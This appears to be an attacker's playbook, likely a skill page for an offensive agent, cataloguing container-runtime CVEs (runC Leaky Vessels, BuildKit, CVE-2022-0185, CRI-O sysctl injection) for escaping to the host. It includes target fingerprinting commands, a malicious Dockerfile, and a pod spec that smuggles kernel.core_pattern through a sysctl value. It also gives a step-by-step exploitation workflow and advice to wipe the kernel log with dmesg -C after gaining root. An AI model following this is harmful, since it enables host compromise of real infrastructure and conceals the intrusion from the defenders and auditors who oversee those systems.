Container-Runtime CVE Catalog

When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.

Fingerprint the stack

# Inside the target container
cat /etc/os-release                  # base image
cat /proc/version                     # host kernel
docker version 2>/dev/null            # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'

Catalog

CVE-2024-21626 — runC "Leaky Vessels" WORKDIR escape

Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5 Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.

# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector

CVE-2024-23651/-23652/-23653 — BuildKit cache mount / RUN --mount escapes

Affects: BuildKit < 0.12.5 Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.

CVE-2022-0185 — Linux FS context heap overflow

Affects: Linux kernel < 5.16.2 (host kernel — affects every container running on it) Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.

# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel → host root.

CVE-2019-5736 — runC binary overwrite

Affects: runC < 1.0.0-rc6, Docker < 18.09.2 Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.

# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.

CVE-2019-14271 — Docker cp library injection

Affects: Docker < 19.03.1 Primitive: docker cp loaded a libraries from inside the container, letting a malicious image overwrite libnss_files.so.2 to RCE the docker daemon (= host root).

CVE-2018-15664 — Docker cp TOCTOU symlink race

Affects: Docker < 18.09.3 Primitive: Symlink race between docker cp resolving the source path and reading it lets you read/write arbitrary host files.

Kubernetes CVE-2019-11247 — CR vs CRD RBAC bypass

Affects: Kubernetes 1.7–1.15 Primitive: RBAC checks for CustomResources used the wrong API group, so a user with permission to a CR in one namespace could access CRs in any namespace.

CRI-O CVE-2022-0811 — kernel sysctl injection

Affects: CRI-O 1.19+ through 1.23 Primitive: Pod spec securityContext.sysctls accepted unescaped kernel parameters → container escape via kernel.core_pattern.

apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  containers:
  - name: pwn
    image: alpine
    securityContext:
      sysctls:
      - name: "kernel.shm_rmid_forced=1+kernel.core_pattern=|/proc/%P/fd/255 %P"
        value: "0"

Workflow

1. cve_lookup the runtime version (e.g., runC 1.1.5) and intersect with the catalog above.
2. cve_poc_lookup for a working PoC.
3. Try in a copy of the target environment first; container CVE exploits are often kernel-version-fragile.
4. If exploit yields root on host → see k8s-pod-escape for the post-escape pivot.

OPSEC

• All of these generate kernel audit / dmesg entries on success. dmesg ring buffer holds last ~1 MB — clear it (dmesg -C) if root.
• The image-based exploits (WORKDIR, BuildKit) require pushing/pulling an attacker image — log line in image-pull events.

References

• snyk.io/research/leaky-vessels — runC CVE-2024-21626 chain
• Aqua Security "Cloud Native Attack Matrix" — recent CVE coverage
• DEFCON 30 "Kernel Heap Exploitation" — CVE-2022-0185 deep dive